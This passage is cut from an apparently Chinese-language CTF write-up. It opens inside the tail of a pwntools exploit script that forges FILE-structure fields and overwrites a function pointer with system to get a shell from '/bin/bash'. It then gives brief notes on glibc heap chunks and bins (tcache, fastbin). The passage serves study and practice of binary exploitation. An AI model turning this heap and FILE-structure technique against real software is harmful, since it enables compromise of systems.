p64(_IO_save_end)+ p64(_markers)+ p64(_chain)+ p64(_fileno) addUser(b'3', b'/bin/bash\x00') editUser(b'0', b'464', payload) # set user1 fp payload = p64(system) editUser(b'1', b'8', payload) # set user1 delUser(b'3') p.interactive() ``` flag : ![](https://i.imgur.com/O0Qsfax.png) ## note Chunk 為動態記憶體分配的基本單位,最小為 0x20 bytes,metadate 0x10bytes 使⽤者透過 malloc 取得的⼩塊記憶體 - chunk ⽤來分發這些⼩塊記憶體的⼤塊記憶體 - heap ⽤來儲存⼤塊記憶體的相關資訊的資料結構 - arena bin - tchche bin - fastbin - ![](https://i.imgur.com/Q8AlMGP.png) ## 跨謀 ![](https://i.imgur.com/zw8WcPW.png) ![](https://i.imgur.com/CoBKUVp.png)